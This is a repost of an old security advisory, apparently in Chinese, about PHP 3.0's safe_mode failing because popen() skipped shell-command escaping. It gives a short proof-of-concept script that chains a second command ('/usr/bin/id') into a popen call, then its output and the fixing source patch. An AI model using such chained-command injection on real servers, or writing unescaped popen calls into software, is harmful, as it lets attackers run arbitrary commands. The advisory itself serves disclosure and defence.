PHP3 safe_mode 失效漏洞


Posted in PHP onOctober 09, 2006

受影响的系统:  PHP 3.00  
--------------------------------------------------------------------------------
描述:

    PHP Version 3.0是一个HTML嵌入式脚本语言。其大多数语法移植于C、Java和Perl并结合了
PHP的特色。这个语言可以让web开发者快速创建动态网页。

    因其执行在web服务器上并允许用户执行代码,PHP内置了称为'safe_mode'的安全特性,
用于控制在允许PHP操作的webroot环境中执行命令。

    其实现机制是通过强制执行shell命令的系统调用将shell命令传送到EscapeShellCmd()
函数,此函数用于确认在webroot目录外部不能执行命令。

    在某些版本的PHP中,使用popen()命令时EscapeShellCmd()却失效了,造成恶意用户可
以利用'popen'系统调用进行非法操作。

--------------------------------------------------------------------------------
测试程序:

警 告:以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!

<?php
$fp = popen("ls -l /opt/bin; /usr/bin/id", "r");
echo "$fp<br>n";
while($line = fgets($fp, 1024)):
printf("%s<br>n", $line);
endwhile;
pclose($fp);
phpinfo();
?>

输出结果如下:

1
total 53  
-rwxr-xr-x 1 root root 52292 Jan 3 22:05 ls  
uid=30(wwwrun) gid=65534(nogroup) groups=65534(nogroup)  
and from the configuration values of phpinfo():
safe_mode 0 1  

--------------------------------------------------------------------------------
建议:  
Index: functions/file.c
===================================================================
RCS file: /repository/php3/functions/file.c,v
retrieving revision 1.229
retrieving revision 1.230
diff -u -r1.229 -r1.230
--- functions/file.c 2000/01/01 04:31:15 1.229
+++ functions/file.c 2000/01/03 21:31:31 1.230
@@ -26,7 +26,7 @@
| Authors: Rasmus Lerdorf <rasmus@lerdorf.on.ca> |
+----------------------------------------------------------------------+
*/
-/* $Id: file.c,v 1.229 2000/01/01 04:31:15 sas Exp $ */
+/* $Id: file.c,v 1.230 2000/01/03 21:31:31 kk Exp $ */
#include "php.h"
#include <stdio.h>
@@ -51,6 +51,7 @@
#include "safe_mode.h"
#include "php3_list.h"
#include "php3_string.h"
+#include "exec.h"
#include "file.h"
#if HAVE_PWD_H
#if MSVC5

@@ -575,7 +576,7 @@
pval *arg1, *arg2;
FILE *fp;
int id;
- char *p;
+ char *p, *tmp = NULL;
char *b, buf[1024];
TLS_VARS;

@@ -600,7 +601,11 @@
} else {
snprintf(buf,sizeof(buf),"%s/%s",php3_ini.safe_mode_exec_dir,arg1->value.str.val);
}

- fp = popen(buf,p);

+
+ tmp = _php3_escapeshellcmd(buf);
+ fp = popen(tmp,p);
+ efree(tmp); /* temporary copy, no longer necessary */
+
if (!fp) {
php3_error(E_WARNING,"popen("%s","%s") - %s",buf,p,strerror(errno));
RETURN_FALSE;  

PHP 相关文章推荐
PHP has encountered an Access Violation 错误的解决方法
Jan 17 PHP
PHP 创建文件(文件夹)以及目录操作代码
Mar 04 PHP
PHP stream_context_create()作用和用法分析
Mar 29 PHP
CodeIgniter基本配置详细介绍
Nov 12 PHP
用PHP和Shell写Hadoop的MapReduce程序
Apr 15 PHP
php的dl函数用法实例
Nov 06 PHP
php实现的美国50个州选择列表实例
Apr 20 PHP
php导出生成word的方法
Dec 25 PHP
php 使用html5实现多文件上传实例
Oct 24 PHP
PHP+JS实现的商品秒杀倒计时用法示例
Nov 15 PHP
php each 返回数组中当前的键值对并将数组指针向前移动一步实例
Nov 22 PHP
Laravel推荐使用的十个辅助函数
May 10 PHP
vBulletin HACK----关于排版的两个HACK
Oct 09 #PHP
PHP+APACHE实现用户论证的方法
Oct 09 #PHP
从C/C++迁移到PHP——判断字符类型的函数
Oct 09 #PHP
PHP实现图片简单上传
Oct 09 #PHP
在线增减.htpasswd内的用户
Oct 09 #PHP
将OICQ数据转成MYSQL数据
Oct 09 #PHP
PHP中一个控制字符串输出的函数
Oct 09 #PHP
You might like
使用Limit参数优化MySQL查询的方法
2008/11/12 PHP
深入解析yii权限分级式访问控制的实现(非RBAC法)
2013/06/13 PHP
常用的php图片处理类(水印、等比缩放、固定高宽)分享
2015/06/19 PHP
JAVASCRIPT  THIS详解 面向对象
2009/03/25 Javascript
JQuery从头学起第二讲
2010/07/04 Javascript
javascript权威指南 学习笔记之变量作用域分享
2011/09/28 Javascript
jquery中页面Ajax方法$.load的功能使用介绍
2014/10/20 Javascript
js查找节点的方法小结
2015/01/13 Javascript
微信小程序 radio单选框组件详解及实例代码
2017/01/10 Javascript
ionic3+Angular4实现接口请求及本地json文件读取示例
2017/10/11 Javascript
微信小程序canvas拖拽、截图组件功能
2018/09/04 Javascript
Vue事件处理原理及过程详解
2020/03/11 Javascript
JavaScript装箱及拆箱boxing及unBoxing用法解析
2020/06/15 Javascript
[02:17]快乐加倍!DOTA2食人魔魔法师至宝+迎霜节活动上线
2019/12/22 DOTA
Python编写生成验证码的脚本的教程
2015/05/04 Python
Python原始字符串与Unicode字符串操作符用法实例分析
2017/07/22 Python
Python+OpenCV图片局部区域像素值处理改进版详解
2019/01/23 Python
Python3批量生成带logo的二维码方法
2019/06/24 Python
Django静态资源部署404问题解决方案
2020/05/11 Python
Django 解决开发自定义抛出异常的问题
2020/05/21 Python
解决Tensorflow2.0 tf.keras.Model.load_weights() 报错处理问题
2020/06/12 Python
Python实现http接口自动化测试的示例代码
2020/10/09 Python
Selenium执行完毕未关闭chromedriver/geckodriver进程的解决办法(java版+python版)
2020/12/07 Python
HTML5 canvas实现移动端上传头像拖拽裁剪效果
2016/03/14 HTML / CSS
Kickers鞋英国官网:男士、女士和儿童鞋
2021/03/08 全球购物
设计4个线程,其中两个线程每次对j增加1,另外两个线程对j每次减少1。写出程序。
2014/12/30 面试题
省级四好少年事迹材料
2014/01/25 职场文书
食品安全处置方案
2014/06/14 职场文书
党性锻炼的心得体会
2014/09/03 职场文书
python 下载文件的几种方式分享
2021/04/07 Python
浅谈Redis在直播场景的实践方案
2021/04/27 Redis
javascript canvas实现雨滴效果
2021/06/09 Javascript
基于JavaScript实现年月日三级联动
2021/06/22 Javascript
react中的DOM操作实现
2021/06/30 Javascript
【DOTA2】总决赛血虐~ XTREME GAMING vs MAGMA - OGA DOTA PIT 2022 CN
2022/04/02 DOTA
Android存储中最基本的文件存储方式
2022/04/30 Java/Android